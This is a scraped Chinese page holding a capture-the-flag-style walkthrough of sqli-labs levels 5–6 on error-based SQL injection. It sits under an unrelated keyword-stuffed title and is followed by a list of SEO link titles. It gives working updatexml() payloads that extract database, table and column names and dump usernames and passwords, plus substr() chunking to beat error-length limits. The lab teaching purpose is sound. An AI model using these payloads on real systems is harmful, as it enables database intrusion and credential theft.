当前位置: 首页 > wzjs >正文

华为商城网站设计分析用jsp做的购物网站

华为商城网站设计分析,用jsp做的购物网站,近三年网络营销案例,网站的设计 更新第5关 报错注入首先判断闭合方式,发现是单引号闭合。但是新的问题出现了,它页面回显只有正确和报错两种状态,没有回显位,意味着union联合注入攻击不能生效。只要思想不滑坡,办法总比困难多。这里发现报错的语句也会回显…

第5关 报错注入

首先判断闭合方式,发现是单引号闭合。

但是新的问题出现了,它页面回显只有正确和报错两种状态,没有回显位,意味着union联合注入攻击不能生效。

只要思想不滑坡,办法总比困难多。这里发现报错的语句也会回显到页面上,那么就可以尝试使用报错注入。

需要用到两个函数,updatexml() 和 extractvalue()函数。

这两个函数都是 MySQL 内置的用于处理 XML 数据的函数,语法如下:

//UPDATEXML函数
UPDATEXML(xml_target, xpath_expr, new_value)//EXTRACTVALUE函数
EXTRACTVALUE(xml_frag, xpath_expr)

updatexml()用于修改,extractvalue()用于查询,两者都严重依赖第二个参数作为 XPath 表达式 来定位或操作 XML 中的特定部分。当提供一个无效的、不符合 XPath 语法规则的字符串作为第二个参数时,函数会执行失败并抛出一个运行时错误。这正是关键点所在,如果在不合法的字符串中构造子查询语句,那么数据库在报错时,会将子查询的结果包含在内。

本关中报错是有回显的,意味着可以利用这两个函数去构造语句来读取回显数据。

1.updatexml()函数构造

?id=1' and updatexml(1,concat(0x7e,(select database())),3) --+

 解释:updatexml()函数需要有三个参数,1和3作为占位符,0x7e是“~”符号的16进制,作用是构造无效的XPath表达式(在XPath 1.0 规范中,表达式不能以操作符开头),concat()起拼接作用,将子查询语句连接到其中。

(1)这里成功查询到当前数据库的名称。

 (2)进一步查询。

//查询数据库中的表
?id=1' and updatexml(1,concat(0x7e,(
select group_concat(table_name) from information_schema.tables where table_schema=database()
)),3) --+
//查询表中字段
?id=1' and updatexml(1,concat(0x7e,(
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
)),3) --+
//查询字段数据
?id=1' and updatexml(1,concat(0x7e,(
select group_concat(username,password) from users
)),3) --+

这里又出现了一个新的问题,MySQL 对错误信息的长度有限制,updatexml()函数最多返回 32 字节。回显的数据不完整。

可以使用substr()函数分段提取数据。

?id=1' and updatexml(1,concat(0x7e,
substr((select group_concat(concat(username,'@',password)) from users),1,10
)),3) --+

 2.extractvalue()函数构造

方法和updatexml()相同。

第6关 双引号闭合的报错注入

解法与上一关相同。

http://www.dtcms.com/wzjs/598502.html

相关文章:

  • 可以做砍价链接的网站购物网站前端浮动特效怎么做
  • 陇南网站设计网站建设为什么不清晰
  • 网站开发实训周志抚州城乡建设厅网站
  • 做网站的叫云啥工作室网站建设的意义
  • 肥乡企业做网站推广安庆网络推广和竞价
  • 外贸管理系统源码龙岗网站优化
  • 做国外有那些网站比较好专业的网页设计流程
  • 现在有专业做海鲜的网站没有无锡正规网站seo公司
  • 微商城网站建设资讯企业商城网站多少钱
  • 改则网站建设wordpress多站点子目录建站
  • 营销网站建设评估及分析pc网站建设需要提供哪些资料
  • idc网站模版自动建立wordpress
  • 长沙市建设局官方网站广州创建网站
  • 清溪镇做网站网站空间计算
  • 外贸网站平台下载wordpress+简码使用
  • 湖南网站建设熊掌号企业怎样做好网站建设
  • 做的网站修改编码徐州网站建设大前端
  • php 微网站开发wordpress的小程序
  • 网页设计教程网站怎么推广自己的链接
  • 做视频的网站那几个盈利了安徽省建设网站
  • 建设工程施工合同网站做板子焊接的网站的公司名字
  • 变更网站怎么做厦门站长优化工具
  • 建站网址怎么改深圳企业500强名单
  • 网络公司手机网站模板中山技术支持中山网站建设
  • 企业网站建设公司怎么做个人域名备案麻烦吗
  • 网站建设遇到的问题及对策嘉兴做微网站
  • 网站开发合同的付款方式营销型网站建设哪家专业
  • 手机小说网站建设wordpress防sql注入
  • 网站备案在哪个部门手机网站违规禁止访问怎么办
  • 集团公司网站欣赏做网站优势